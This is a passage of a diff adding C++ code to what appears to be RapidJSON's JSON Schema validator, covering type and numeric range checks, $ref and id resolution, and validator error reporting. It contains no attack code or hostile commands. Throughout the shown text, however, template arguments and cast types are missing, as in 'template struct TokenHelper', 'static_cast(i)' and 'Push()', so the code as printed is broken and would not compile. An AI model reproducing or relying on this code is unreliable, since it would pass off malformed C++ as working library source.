+ void AddType(const ValueType& type) { + if (type == GetNullString() ) type_ |= 1 << kNullSchemaType; + else if (type == GetBooleanString()) type_ |= 1 << kBooleanSchemaType; + else if (type == GetObjectString() ) type_ |= 1 << kObjectSchemaType; + else if (type == GetArrayString() ) type_ |= 1 << kArraySchemaType; + else if (type == GetStringString() ) type_ |= 1 << kStringSchemaType; + else if (type == GetIntegerString()) type_ |= 1 << kIntegerSchemaType; + else if (type == GetNumberString() ) type_ |= (1 << kNumberSchemaType) | (1 << kIntegerSchemaType); + } + + bool CreateParallelValidator(Context& context) const { + if (enum_ || context.arrayUniqueness) + context.hasher = context.factory.CreateHasher(); + + if (validatorCount_) { + RAPIDJSON_ASSERT(context.validators == 0); + context.validators = static_cast(context.factory.MallocState(sizeof(ISchemaValidator*) * validatorCount_)); + std::memset(context.validators, 0, sizeof(ISchemaValidator*) * validatorCount_); + context.validatorCount = validatorCount_; + + // Always return after first failure for these sub-validators + if (allOf_.schemas) + CreateSchemaValidators(context, allOf_, false); + + if (anyOf_.schemas) + CreateSchemaValidators(context, anyOf_, false); + + if (oneOf_.schemas) + CreateSchemaValidators(context, oneOf_, false); + + if (not_) + context.validators[notValidatorIndex_] = context.factory.CreateSchemaValidator(*not_, false); + + if (hasSchemaDependencies_) { + for (SizeType i = 0; i < propertyCount_; i++) + if (properties_[i].dependenciesSchema) + context.validators[properties_[i].dependenciesValidatorIndex] = context.factory.CreateSchemaValidator(*properties_[i].dependenciesSchema, false); + } + } + + return true; + } + + void CreateSchemaValidators(Context& context, const SchemaArray& schemas, const bool inheritContinueOnErrors) const { + for (SizeType i = 0; i < schemas.count; i++) + context.validators[schemas.begin + i] = context.factory.CreateSchemaValidator(*schemas.schemas[i], inheritContinueOnErrors); + } + + // O(n) + bool FindPropertyIndex(const ValueType& name, SizeType* outIndex) const { + SizeType len = name.GetStringLength(); + const Ch* str = name.GetString(); + for (SizeType index = 0; index < propertyCount_; index++) + if (properties_[index].name.GetStringLength() == len && + (std::memcmp(properties_[index].name.GetString(), str, sizeof(Ch) * len) == 0)) + { + *outIndex = index; + return true; + } + return false; + } + + bool CheckInt(Context& context, int64_t i) const { + if (!(type_ & ((1 << kIntegerSchemaType) | (1 << kNumberSchemaType)))) { + DisallowedType(context, GetIntegerString()); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorType); + } + + if (!minimum_.IsNull()) { + if (minimum_.IsInt64()) { + if (exclusiveMinimum_ ? i <= minimum_.GetInt64() : i < minimum_.GetInt64()) { + context.error_handler.BelowMinimum(i, minimum_, exclusiveMinimum_); + RAPIDJSON_INVALID_KEYWORD_RETURN(exclusiveMinimum_ ? kValidateErrorExclusiveMinimum : kValidateErrorMinimum); + } + } + else if (minimum_.IsUint64()) { + context.error_handler.BelowMinimum(i, minimum_, exclusiveMinimum_); + RAPIDJSON_INVALID_KEYWORD_RETURN(exclusiveMinimum_ ? kValidateErrorExclusiveMinimum : kValidateErrorMinimum); // i <= max(int64_t) < minimum.GetUint64() + } + else if (!CheckDoubleMinimum(context, static_cast(i))) + return false; + } + + if (!maximum_.IsNull()) { + if (maximum_.IsInt64()) { + if (exclusiveMaximum_ ? i >= maximum_.GetInt64() : i > maximum_.GetInt64()) { + context.error_handler.AboveMaximum(i, maximum_, exclusiveMaximum_); + RAPIDJSON_INVALID_KEYWORD_RETURN(exclusiveMaximum_ ? kValidateErrorExclusiveMaximum : kValidateErrorMaximum); + } + } + else if (maximum_.IsUint64()) { } + /* do nothing */ // i <= max(int64_t) < maximum_.GetUint64() + else if (!CheckDoubleMaximum(context, static_cast(i))) + return false; + } + + if (!multipleOf_.IsNull()) { + if (multipleOf_.IsUint64()) { + if (static_cast(i >= 0 ? i : -i) % multipleOf_.GetUint64() != 0) { + context.error_handler.NotMultipleOf(i, multipleOf_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMultipleOf); + } + } + else if (!CheckDoubleMultipleOf(context, static_cast(i))) + return false; + } + + return true; + } + + bool CheckUint(Context& context, uint64_t i) const { + if (!(type_ & ((1 << kIntegerSchemaType) | (1 << kNumberSchemaType)))) { + DisallowedType(context, GetIntegerString()); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorType); + } + + if (!minimum_.IsNull()) { + if (minimum_.IsUint64()) { + if (exclusiveMinimum_ ? i <= minimum_.GetUint64() : i < minimum_.GetUint64()) { + context.error_handler.BelowMinimum(i, minimum_, exclusiveMinimum_); + RAPIDJSON_INVALID_KEYWORD_RETURN(exclusiveMinimum_ ? kValidateErrorExclusiveMinimum : kValidateErrorMinimum); + } + } + else if (minimum_.IsInt64()) + /* do nothing */; // i >= 0 > minimum.Getint64() + else if (!CheckDoubleMinimum(context, static_cast(i))) + return false; + } + + if (!maximum_.IsNull()) { + if (maximum_.IsUint64()) { + if (exclusiveMaximum_ ? i >= maximum_.GetUint64() : i > maximum_.GetUint64()) { + context.error_handler.AboveMaximum(i, maximum_, exclusiveMaximum_); + RAPIDJSON_INVALID_KEYWORD_RETURN(exclusiveMaximum_ ? kValidateErrorExclusiveMaximum : kValidateErrorMaximum); + } + } + else if (maximum_.IsInt64()) { + context.error_handler.AboveMaximum(i, maximum_, exclusiveMaximum_); + RAPIDJSON_INVALID_KEYWORD_RETURN(exclusiveMaximum_ ? kValidateErrorExclusiveMaximum : kValidateErrorMaximum); // i >= 0 > maximum_ + } + else if (!CheckDoubleMaximum(context, static_cast(i))) + return false; + } + + if (!multipleOf_.IsNull()) { + if (multipleOf_.IsUint64()) { + if (i % multipleOf_.GetUint64() != 0) { + context.error_handler.NotMultipleOf(i, multipleOf_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMultipleOf); + } + } + else if (!CheckDoubleMultipleOf(context, static_cast(i))) + return false; + } + + return true; + } + + bool CheckDoubleMinimum(Context& context, double d) const { + if (exclusiveMinimum_ ? d <= minimum_.GetDouble() : d < minimum_.GetDouble()) { + context.error_handler.BelowMinimum(d, minimum_, exclusiveMinimum_); + RAPIDJSON_INVALID_KEYWORD_RETURN(exclusiveMinimum_ ? kValidateErrorExclusiveMinimum : kValidateErrorMinimum); + } + return true; + } + + bool CheckDoubleMaximum(Context& context, double d) const { + if (exclusiveMaximum_ ? d >= maximum_.GetDouble() : d > maximum_.GetDouble()) { + context.error_handler.AboveMaximum(d, maximum_, exclusiveMaximum_); + RAPIDJSON_INVALID_KEYWORD_RETURN(exclusiveMaximum_ ? kValidateErrorExclusiveMaximum : kValidateErrorMaximum); + } + return true; + } + + bool CheckDoubleMultipleOf(Context& context, double d) const { + double a = std::abs(d), b = std::abs(multipleOf_.GetDouble()); + double q = std::floor(a / b); + double r = a - q * b; + if (r > 0.0) { + context.error_handler.NotMultipleOf(d, multipleOf_); + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorMultipleOf); + } + return true; + } + + void DisallowedType(Context& context, const ValueType& actualType) const { + ErrorHandler& eh = context.error_handler; + eh.StartDisallowedType(); + + if (type_ & (1 << kNullSchemaType)) eh.AddExpectedType(GetNullString()); + if (type_ & (1 << kBooleanSchemaType)) eh.AddExpectedType(GetBooleanString()); + if (type_ & (1 << kObjectSchemaType)) eh.AddExpectedType(GetObjectString()); + if (type_ & (1 << kArraySchemaType)) eh.AddExpectedType(GetArrayString()); + if (type_ & (1 << kStringSchemaType)) eh.AddExpectedType(GetStringString()); + + if (type_ & (1 << kNumberSchemaType)) eh.AddExpectedType(GetNumberString()); + else if (type_ & (1 << kIntegerSchemaType)) eh.AddExpectedType(GetIntegerString()); + + eh.EndDisallowedType(actualType); + } + + struct Property { + Property() : schema(), dependenciesSchema(), dependenciesValidatorIndex(), dependencies(), required(false) {} + ~Property() { AllocatorType::Free(dependencies); } + SValue name; + const SchemaType* schema; + const SchemaType* dependenciesSchema; + SizeType dependenciesValidatorIndex; + bool* dependencies; + bool required; + }; + + struct PatternProperty { + PatternProperty() : schema(), pattern() {} + ~PatternProperty() { + if (pattern) { + pattern->~RegexType(); + AllocatorType::Free(pattern); + } + } + const SchemaType* schema; + RegexType* pattern; + }; + + AllocatorType* allocator_; + SValue uri_; + UriType id_; + PointerType pointer_; + const SchemaType* typeless_; + uint64_t* enum_; + SizeType enumCount_; + SchemaArray allOf_; + SchemaArray anyOf_; + SchemaArray oneOf_; + const SchemaType* not_; + unsigned type_; // bitmask of kSchemaType + SizeType validatorCount_; + SizeType notValidatorIndex_; + + Property* properties_; + const SchemaType* additionalPropertiesSchema_; + PatternProperty* patternProperties_; + SizeType patternPropertyCount_; + SizeType propertyCount_; + SizeType minProperties_; + SizeType maxProperties_; + bool additionalProperties_; + bool hasDependencies_; + bool hasRequired_; + bool hasSchemaDependencies_; + + const SchemaType* additionalItemsSchema_; + const SchemaType* itemsList_; + const SchemaType** itemsTuple_; + SizeType itemsTupleCount_; + SizeType minItems_; + SizeType maxItems_; + bool additionalItems_; + bool uniqueItems_; + + RegexType* pattern_; + SizeType minLength_; + SizeType maxLength_; + + SValue minimum_; + SValue maximum_; + SValue multipleOf_; + bool exclusiveMinimum_; + bool exclusiveMaximum_; + + SizeType defaultValueLength_; +}; + +template +struct TokenHelper { + RAPIDJSON_FORCEINLINE static void AppendIndexToken(Stack& documentStack, SizeType index) { + *documentStack.template Push() = '/'; + char buffer[21]; + size_t length = static_cast((sizeof(SizeType) == 4 ? u32toa(index, buffer) : u64toa(index, buffer)) - buffer); + for (size_t i = 0; i < length; i++) + *documentStack.template Push() = static_cast(buffer[i]); + } +}; + +// Partial specialized version for char to prevent buffer copying. +template +struct TokenHelper { + RAPIDJSON_FORCEINLINE static void AppendIndexToken(Stack& documentStack, SizeType index) { + if (sizeof(SizeType) == 4) { + char *buffer = documentStack.template Push(1 + 10); // '/' + uint + *buffer++ = '/'; + const char* end = internal::u32toa(index, buffer); + documentStack.template Pop(static_cast(10 - (end - buffer))); + } + else { + char *buffer = documentStack.template Push(1 + 20); // '/' + uint64 + *buffer++ = '/'; + const char* end = internal::u64toa(index, buffer); + documentStack.template Pop(static_cast(20 - (end - buffer))); + } + } +}; + +} // namespace internal + +/////////////////////////////////////////////////////////////////////////////// +// IGenericRemoteSchemaDocumentProvider + +template +class IGenericRemoteSchemaDocumentProvider { +public: + typedef typename SchemaDocumentType::Ch Ch; + typedef typename SchemaDocumentType::ValueType ValueType; + typedef typename SchemaDocumentType::AllocatorType AllocatorType; + + virtual ~IGenericRemoteSchemaDocumentProvider() {} + virtual const SchemaDocumentType* GetRemoteDocument(const Ch* uri, SizeType length) = 0; + virtual const SchemaDocumentType* GetRemoteDocument(GenericUri uri) { return GetRemoteDocument(uri.GetBaseString(), uri.GetBaseStringLength()); } +}; + +/////////////////////////////////////////////////////////////////////////////// +// GenericSchemaDocument + +//! JSON schema document. +/*! + A JSON schema document is a compiled version of a JSON schema. + It is basically a tree of internal::Schema. + + \note This is an immutable class (i.e. its instance cannot be modified after construction). + \tparam ValueT Type of JSON value (e.g. \c Value ), which also determine the encoding. + \tparam Allocator Allocator type for allocating memory of this document. +*/ +template +class GenericSchemaDocument { +public: + typedef ValueT ValueType; + typedef IGenericRemoteSchemaDocumentProvider IRemoteSchemaDocumentProviderType; + typedef Allocator AllocatorType; + typedef typename ValueType::EncodingType EncodingType; + typedef typename EncodingType::Ch Ch; + typedef internal::Schema SchemaType; + typedef GenericPointer PointerType; + typedef GenericValue SValue; + typedef GenericUri UriType; + friend class internal::Schema; + template + friend class GenericSchemaValidator; + + //! Constructor. + /*! + Compile a JSON document into schema document. + + \param document A JSON document as source. + \param uri The base URI of this schema document for purposes of violation reporting. + \param uriLength Length of \c name, in code points. + \param remoteProvider An optional remote schema document provider for resolving remote reference. Can be null. + \param allocator An optional allocator instance for allocating memory. Can be null. + \param pointer An optional JSON pointer to the start of the schema document + */ + explicit GenericSchemaDocument(const ValueType& document, const Ch* uri = 0, SizeType uriLength = 0, + IRemoteSchemaDocumentProviderType* remoteProvider = 0, Allocator* allocator = 0, + const PointerType& pointer = PointerType()) : // PR #1393 + remoteProvider_(remoteProvider), + allocator_(allocator), + ownAllocator_(), + root_(), + typeless_(), + schemaMap_(allocator, kInitialSchemaMapSize), + schemaRef_(allocator, kInitialSchemaRefSize) + { + if (!allocator_) + ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)(); + + Ch noUri[1] = {0}; + uri_.SetString(uri ? uri : noUri, uriLength, *allocator_); + docId_ = UriType(uri_, allocator_); + + typeless_ = static_cast(allocator_->Malloc(sizeof(SchemaType))); + new (typeless_) SchemaType(this, PointerType(), ValueType(kObjectType).Move(), ValueType(kObjectType).Move(), allocator_, docId_); + + // Generate root schema, it will call CreateSchema() to create sub-schemas, + // And call HandleRefSchema() if there are $ref. + // PR #1393 use input pointer if supplied + root_ = typeless_; + if (pointer.GetTokenCount() == 0) { + CreateSchemaRecursive(&root_, pointer, document, document, docId_); + } + else if (const ValueType* v = pointer.Get(document)) { + CreateSchema(&root_, pointer, *v, document, docId_); + } + + RAPIDJSON_ASSERT(root_ != 0); + + schemaRef_.ShrinkToFit(); // Deallocate all memory for ref + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + //! Move constructor in C++11 + GenericSchemaDocument(GenericSchemaDocument&& rhs) RAPIDJSON_NOEXCEPT : + remoteProvider_(rhs.remoteProvider_), + allocator_(rhs.allocator_), + ownAllocator_(rhs.ownAllocator_), + root_(rhs.root_), + typeless_(rhs.typeless_), + schemaMap_(std::move(rhs.schemaMap_)), + schemaRef_(std::move(rhs.schemaRef_)), + uri_(std::move(rhs.uri_)), + docId_(rhs.docId_) + { + rhs.remoteProvider_ = 0; + rhs.allocator_ = 0; + rhs.ownAllocator_ = 0; + rhs.typeless_ = 0; + } +#endif + + //! Destructor + ~GenericSchemaDocument() { + while (!schemaMap_.Empty()) + schemaMap_.template Pop(1)->~SchemaEntry(); + + if (typeless_) { + typeless_->~SchemaType(); + Allocator::Free(typeless_); + } + + RAPIDJSON_DELETE(ownAllocator_); + } + + const SValue& GetURI() const { return uri_; } + + //! Get the root schema. + const SchemaType& GetRoot() const { return *root_; } + +private: + //! Prohibit copying + GenericSchemaDocument(const GenericSchemaDocument&); + //! Prohibit assignment + GenericSchemaDocument& operator=(const GenericSchemaDocument&); + + typedef const PointerType* SchemaRefPtr; // PR #1393 + + struct SchemaEntry { + SchemaEntry(const PointerType& p, SchemaType* s, bool o, Allocator* allocator) : pointer(p, allocator), schema(s), owned(o) {} + ~SchemaEntry() { + if (owned) { + schema->~SchemaType(); + Allocator::Free(schema); + } + } + PointerType pointer; + SchemaType* schema; + bool owned; + }; + + // Changed by PR #1393 + void CreateSchemaRecursive(const SchemaType** schema, const PointerType& pointer, const ValueType& v, const ValueType& document, const UriType& id) { + if (v.GetType() == kObjectType) { + UriType newid = UriType(CreateSchema(schema, pointer, v, document, id), allocator_); + + for (typename ValueType::ConstMemberIterator itr = v.MemberBegin(); itr != v.MemberEnd(); ++itr) + CreateSchemaRecursive(0, pointer.Append(itr->name, allocator_), itr->value, document, newid); + } + else if (v.GetType() == kArrayType) + for (SizeType i = 0; i < v.Size(); i++) + CreateSchemaRecursive(0, pointer.Append(i, allocator_), v[i], document, id); + } + + // Changed by PR #1393 + const UriType& CreateSchema(const SchemaType** schema, const PointerType& pointer, const ValueType& v, const ValueType& document, const UriType& id) { + RAPIDJSON_ASSERT(pointer.IsValid()); + if (v.IsObject()) { + if (const SchemaType* sc = GetSchema(pointer)) { + if (schema) + *schema = sc; + AddSchemaRefs(const_cast(sc)); + } + else if (!HandleRefSchema(pointer, schema, v, document, id)) { + // The new schema constructor adds itself and its $ref(s) to schemaMap_ + SchemaType* s = new (allocator_->Malloc(sizeof(SchemaType))) SchemaType(this, pointer, v, document, allocator_, id); + if (schema) + *schema = s; + return s->GetId(); + } + } + else { + if (schema) + *schema = typeless_; + AddSchemaRefs(typeless_); + } + return id; + } + + // Changed by PR #1393 + // TODO should this return a UriType& ? + bool HandleRefSchema(const PointerType& source, const SchemaType** schema, const ValueType& v, const ValueType& document, const UriType& id) { + typename ValueType::ConstMemberIterator itr = v.FindMember(SchemaType::GetRefString()); + if (itr == v.MemberEnd()) + return false; + + // Resolve the source pointer to the $ref'ed schema (finally) + new (schemaRef_.template Push()) SchemaRefPtr(&source); + + if (itr->value.IsString()) { + SizeType len = itr->value.GetStringLength(); + if (len > 0) { + // First resolve $ref against the in-scope id + UriType scopeId = UriType(id, allocator_); + UriType ref = UriType(itr->value, allocator_).Resolve(scopeId, allocator_); + // See if the resolved $ref minus the fragment matches a resolved id in this document + // Search from the root. Returns the subschema in the document and its absolute JSON pointer. + PointerType basePointer = PointerType(); + const ValueType *base = FindId(document, ref, basePointer, docId_, false); + if (!base) { + // Remote reference - call the remote document provider + if (remoteProvider_) { + if (const GenericSchemaDocument* remoteDocument = remoteProvider_->GetRemoteDocument(ref)) { + const Ch* s = ref.GetFragString(); + len = ref.GetFragStringLength(); + if (len <= 1 || s[1] == '/') { + // JSON pointer fragment, absolute in the remote schema + const PointerType pointer(s, len, allocator_); + if (pointer.IsValid()) { + // Get the subschema + if (const SchemaType *sc = remoteDocument->GetSchema(pointer)) { + if (schema) + *schema = sc; + AddSchemaRefs(const_cast(sc)); + return true; + } + } + } else { + // Plain name fragment, not allowed + } + } + } + } + else { // Local reference + const Ch* s = ref.GetFragString(); + len = ref.GetFragStringLength(); + if (len <= 1 || s[1] == '/') { + // JSON pointer fragment, relative to the resolved URI + const PointerType relPointer(s, len, allocator_); + if (relPointer.IsValid()) { + // Get the subschema + if (const ValueType *pv = relPointer.Get(*base)) { + // Now get the absolute JSON pointer by adding relative to base + PointerType pointer(basePointer); + for (SizeType i = 0; i < relPointer.GetTokenCount(); i++) + pointer = pointer.Append(relPointer.GetTokens()[i], allocator_); + //GenericStringBuffer sb; + //pointer.StringifyUriFragment(sb); + if (pointer.IsValid() && !IsCyclicRef(pointer)) { + // Call CreateSchema recursively, but first compute the in-scope id for the $ref target as we have jumped there + // TODO: cache pointer <-> id mapping + size_t unresolvedTokenIndex; + scopeId = pointer.GetUri(document, docId_, &unresolvedTokenIndex, allocator_); + CreateSchema(schema, pointer, *pv, document, scopeId); + return true; + } + } + } + } else { + // Plain name fragment, relative to the resolved URI + // See if the fragment matches an id in this document. + // Search from the base we just established. Returns the subschema in the document and its absolute JSON pointer. + PointerType pointer = PointerType(); + if (const ValueType *pv = FindId(*base, ref, pointer, UriType(ref.GetBaseString(), ref.GetBaseStringLength(), allocator_), true, basePointer)) { + if (!IsCyclicRef(pointer)) { + //GenericStringBuffer sb; + //pointer.StringifyUriFragment(sb); + // Call CreateSchema recursively, but first compute the in-scope id for the $ref target as we have jumped there + // TODO: cache pointer <-> id mapping + size_t unresolvedTokenIndex; + scopeId = pointer.GetUri(document, docId_, &unresolvedTokenIndex, allocator_); + CreateSchema(schema, pointer, *pv, document, scopeId); + return true; + } + } + } + } + } + } + + // Invalid/Unknown $ref + if (schema) + *schema = typeless_; + AddSchemaRefs(typeless_); + return true; + } + + //! Find the first subschema with a resolved 'id' that matches the specified URI. + // If full specified use all URI else ignore fragment. + // If found, return a pointer to the subschema and its JSON pointer. + // TODO cache pointer <-> id mapping + ValueType* FindId(const ValueType& doc, const UriType& finduri, PointerType& resptr, const UriType& baseuri, bool full, const PointerType& here = PointerType()) const { + SizeType i = 0; + ValueType* resval = 0; + UriType tempuri = UriType(finduri, allocator_); + UriType localuri = UriType(baseuri, allocator_); + if (doc.GetType() == kObjectType) { + // Establish the base URI of this object + typename ValueType::ConstMemberIterator m = doc.FindMember(SchemaType::GetIdString()); + if (m != doc.MemberEnd() && m->value.GetType() == kStringType) { + localuri = UriType(m->value, allocator_).Resolve(baseuri, allocator_); + } + // See if it matches + if (localuri.Match(finduri, full)) { + resval = const_cast(&doc); + resptr = here; + return resval; + } + // No match, continue looking + for (m = doc.MemberBegin(); m != doc.MemberEnd(); ++m) { + if (m->value.GetType() == kObjectType || m->value.GetType() == kArrayType) { + resval = FindId(m->value, finduri, resptr, localuri, full, here.Append(m->name.GetString(), m->name.GetStringLength(), allocator_)); + } + if (resval) break; + } + } else if (doc.GetType() == kArrayType) { + // Continue looking + for (typename ValueType::ConstValueIterator v = doc.Begin(); v != doc.End(); ++v) { + if (v->GetType() == kObjectType || v->GetType() == kArrayType) { + resval = FindId(*v, finduri, resptr, localuri, full, here.Append(i, allocator_)); + } + if (resval) break; + i++; + } + } + return resval; + } + + // Added by PR #1393 + void AddSchemaRefs(SchemaType* schema) { + while (!schemaRef_.Empty()) { + SchemaRefPtr *ref = schemaRef_.template Pop(1); + SchemaEntry *entry = schemaMap_.template Push(); + new (entry) SchemaEntry(**ref, schema, false, allocator_); + } + } + + // Added by PR #1393 + bool IsCyclicRef(const PointerType& pointer) const { + for (const SchemaRefPtr* ref = schemaRef_.template Bottom(); ref != schemaRef_.template End(); ++ref) + if (pointer == **ref) + return true; + return false; + } + + const SchemaType* GetSchema(const PointerType& pointer) const { + for (const SchemaEntry* target = schemaMap_.template Bottom(); target != schemaMap_.template End(); ++target) + if (pointer == target->pointer) + return target->schema; + return 0; + } + + PointerType GetPointer(const SchemaType* schema) const { + for (const SchemaEntry* target = schemaMap_.template Bottom(); target != schemaMap_.template End(); ++target) + if (schema == target->schema) + return target->pointer; + return PointerType(); + } + + const SchemaType* GetTypeless() const { return typeless_; } + + static const size_t kInitialSchemaMapSize = 64; + static const size_t kInitialSchemaRefSize = 64; + + IRemoteSchemaDocumentProviderType* remoteProvider_; + Allocator *allocator_; + Allocator *ownAllocator_; + const SchemaType* root_; //!< Root schema. + SchemaType* typeless_; + internal::Stack schemaMap_; // Stores created Pointer -> Schemas + internal::Stack schemaRef_; // Stores Pointer(s) from $ref(s) until resolved + SValue uri_; // Schema document URI + UriType docId_; +}; + +//! GenericSchemaDocument using Value type. +typedef GenericSchemaDocument SchemaDocument; +//! IGenericRemoteSchemaDocumentProvider using SchemaDocument. +typedef IGenericRemoteSchemaDocumentProvider IRemoteSchemaDocumentProvider; + +/////////////////////////////////////////////////////////////////////////////// +// GenericSchemaValidator + +//! JSON Schema Validator. +/*! + A SAX style JSON schema validator. + It uses a \c GenericSchemaDocument to validate SAX events. + It delegates the incoming SAX events to an output handler. + The default output handler does nothing. + It can be reused multiple times by calling \c Reset(). + + \tparam SchemaDocumentType Type of schema document. + \tparam OutputHandler Type of output handler. Default handler does nothing. + \tparam StateAllocator Allocator for storing the internal validation states. +*/ +template < + typename SchemaDocumentType, + typename OutputHandler = BaseReaderHandler, + typename StateAllocator = CrtAllocator> +class GenericSchemaValidator : + public internal::ISchemaStateFactory, + public internal::ISchemaValidator, + public internal::IValidationErrorHandler { +public: + typedef typename SchemaDocumentType::SchemaType SchemaType; + typedef typename SchemaDocumentType::PointerType PointerType; + typedef typename SchemaType::EncodingType EncodingType; + typedef typename SchemaType::SValue SValue; + typedef typename EncodingType::Ch Ch; + typedef GenericStringRef StringRefType; + typedef GenericValue ValueType; + + //! Constructor without output handler. + /*! + \param schemaDocument The schema document to conform to. + \param allocator Optional allocator for storing internal validation states. + \param schemaStackCapacity Optional initial capacity of schema path stack. + \param documentStackCapacity Optional initial capacity of document path stack. + */ + GenericSchemaValidator( + const SchemaDocumentType& schemaDocument, + StateAllocator* allocator = 0, + size_t schemaStackCapacity = kDefaultSchemaStackCapacity, + size_t documentStackCapacity = kDefaultDocumentStackCapacity) + : + schemaDocument_(&schemaDocument), + root_(schemaDocument.GetRoot()), + stateAllocator_(allocator), + ownStateAllocator_(0), + schemaStack_(allocator, schemaStackCapacity), + documentStack_(allocator, documentStackCapacity), + outputHandler_(0), + error_(kObjectType), + currentError_(), + missingDependents_(), + valid_(true), + flags_(kValidateDefaultFlags) +#if RAPIDJSON_SCHEMA_VERBOSE + , depth_(0) +#endif + { + } + + //! Constructor with output handler. + /*! + \param schemaDocument The schema document to conform to. + \param allocator Optional allocator for storing internal validation states. + \param schemaStackCapacity Optional initial capacity of schema path stack. + \param documentStackCapacity Optional initial capacity of document path stack. + */ + GenericSchemaValidator( + const SchemaDocumentType& schemaDocument, + OutputHandler& outputHandler, + StateAllocator* allocator = 0, + size_t schemaStackCapacity = kDefaultSchemaStackCapacity, + size_t documentStackCapacity = kDefaultDocumentStackCapacity) + : + schemaDocument_(&schemaDocument), + root_(schemaDocument.GetRoot()), + stateAllocator_(allocator), + ownStateAllocator_(0), + schemaStack_(allocator, schemaStackCapacity), + documentStack_(allocator, documentStackCapacity), + outputHandler_(&outputHandler), + error_(kObjectType), + currentError_(), + missingDependents_(), + valid_(true), + flags_(kValidateDefaultFlags) +#if RAPIDJSON_SCHEMA_VERBOSE + , depth_(0) +#endif + { + } + + //! Destructor. + ~GenericSchemaValidator() { + Reset(); + RAPIDJSON_DELETE(ownStateAllocator_); + } + + //! Reset the internal states. + void Reset() { + while (!schemaStack_.Empty()) + PopSchema(); + documentStack_.Clear(); + ResetError(); + } + + //! Reset the error state. + void ResetError() { + error_.SetObject(); + currentError_.SetNull(); + missingDependents_.SetNull(); + valid_ = true; + } + + //! Implementation of ISchemaValidator + void SetValidateFlags(unsigned flags) { + flags_ = flags; + } + virtual unsigned GetValidateFlags() const { + return flags_; + } + + //! Checks whether the current state is valid. + // Implementation of ISchemaValidator + virtual bool IsValid() const { + if (!valid_) return false; + if (GetContinueOnErrors() && !error_.ObjectEmpty()) return false; + return true; + } + + //! Gets the error object. + ValueType& GetError() { return error_; } + const ValueType& GetError() const { return error_; } + + //! Gets the JSON pointer pointed to the invalid schema. + // If reporting all errors, the stack will be empty. + PointerType GetInvalidSchemaPointer() const { + return schemaStack_.Empty() ? PointerType() : CurrentSchema().GetPointer(); + } + + //! Gets the keyword of invalid schema. + // If reporting all errors, the stack will be empty, so return "errors". + const Ch* GetInvalidSchemaKeyword() const { + if (!schemaStack_.Empty()) return CurrentContext().invalidKeyword; + if (GetContinueOnErrors() && !error_.ObjectEmpty()) return (const Ch*)GetErrorsString(); + return 0; + } + + //! Gets the error code of invalid schema. + // If reporting all errors, the stack will be empty, so return kValidateErrors. + ValidateErrorCode GetInvalidSchemaCode() const { + if (!schemaStack_.Empty()) return CurrentContext().invalidCode; + if (GetContinueOnErrors() && !error_.ObjectEmpty()) return kValidateErrors; + return kValidateErrorNone; + } + + //! Gets the JSON pointer pointed to the invalid value. + // If reporting all errors, the stack will be empty. + PointerType GetInvalidDocumentPointer() const { + if (documentStack_.Empty()) { + return PointerType(); + } + else { + return PointerType(documentStack_.template Bottom(), documentStack_.GetSize() / sizeof(Ch)); + } + } + + void NotMultipleOf(int64_t actual, const SValue& expected) { + AddNumberError(kValidateErrorMultipleOf, ValueType(actual).Move(), expected); + } + void NotMultipleOf(uint64_t actual, const SValue& expected) { + AddNumberError(kValidateErrorMultipleOf, ValueType(actual).Move(), expected); + } + void NotMultipleOf(double actual, const SValue& expected) { + AddNumberError(kValidateErrorMultipleOf, ValueType(actual).Move(), expected); + } + void AboveMaximum(int64_t actual, const SValue& expected, bool exclusive) { + AddNumberError(exclusive ? kValidateErrorExclusiveMaximum : kValidateErrorMaximum, ValueType(actual).Move(), expected, + exclusive ? &SchemaType::GetExclusiveMaximumString : 0); + } + void AboveMaximum(uint64_t actual, const SValue& expected, bool exclusive) { + AddNumberError(exclusive ? kValidateErrorExclusiveMaximum : kValidateErrorMaximum, ValueType(actual).Move(), expected, + exclusive ? &SchemaType::GetExclusiveMaximumString : 0); + } + void AboveMaximum(double actual, const SValue& expected, bool exclusive) { + AddNumberError(exclusive ? kValidateErrorExclusiveMaximum : kValidateErrorMaximum, ValueType(actual).Move(), expected, + exclusive ? &SchemaType::GetExclusiveMaximumString : 0); + } + void BelowMinimum(int64_t actual, const SValue& expected, bool exclusive) { + AddNumberError(exclusive ? kValidateErrorExclusiveMinimum : kValidateErrorMinimum, ValueType(actual).Move(), expected, + exclusive ? &SchemaType::GetExclusiveMinimumString : 0); + } + void BelowMinimum(uint64_t actual, const SValue& expected, bool exclusive) { + AddNumberError(exclusive ? kValidateErrorExclusiveMinimum : kValidateErrorMinimum, ValueType(actual).Move(), expected, + exclusive ? &SchemaType::GetExclusiveMinimumString : 0); + } + void BelowMinimum(double actual, const SValue& expected, bool exclusive) { + AddNumberError(exclusive ? kValidateErrorExclusiveMinimum : kValidateErrorMinimum, ValueType(actual).Move(), expected, + exclusive ? &SchemaType::GetExclusiveMinimumString : 0); + } + + void TooLong(const Ch* str, SizeType length, SizeType expected) { + AddNumberError(kValidateErrorMaxLength, + ValueType(str, length, GetStateAllocator()).Move(), SValue(expected).Move()); + } + void TooShort(const Ch* str, SizeType length, SizeType expected) { + AddNumberError(kValidateErrorMinLength, + ValueType(str, length, GetStateAllocator()).Move(), SValue(expected).Move()); + } + void DoesNotMatch(const Ch* str, SizeType length) { + currentError_.SetObject(); + currentError_.AddMember(GetActualString(), ValueType(str, length, GetStateAllocator()).Move(), GetStateAllocator()); + AddCurrentError(kValidateErrorPattern); + } + + void DisallowedItem(SizeType index) { + currentError_.SetObject(); + currentError_.AddMember(GetDisallowedString(), ValueType(index).Move(), GetStateAllocator()); + AddCurrentError(kValidateErrorAdditionalItems, true); + } + void TooFewItems(SizeType actualCount, SizeType expectedCount) { + AddNumberError(kValidateErrorMinItems, + ValueType(actualCount).Move(), SValue(expectedCount).Move()); + } + void TooManyItems(SizeType actualCount, SizeType expectedCount) { + AddNumberError(kValidateErrorMaxItems, + ValueType(actualCount).Move(), SValue(expectedCount).Move()); + } + void DuplicateItems(SizeType index1, SizeType index2) { + ValueType duplicates(kArrayType); + duplicates.PushBack(index1, GetStateAllocator()); + duplicates.PushBack(index2, GetStateAllocator()); + currentError_.SetObject(); + currentError_.AddMember(GetDuplicatesString(), duplicates, GetStateAllocator()); + 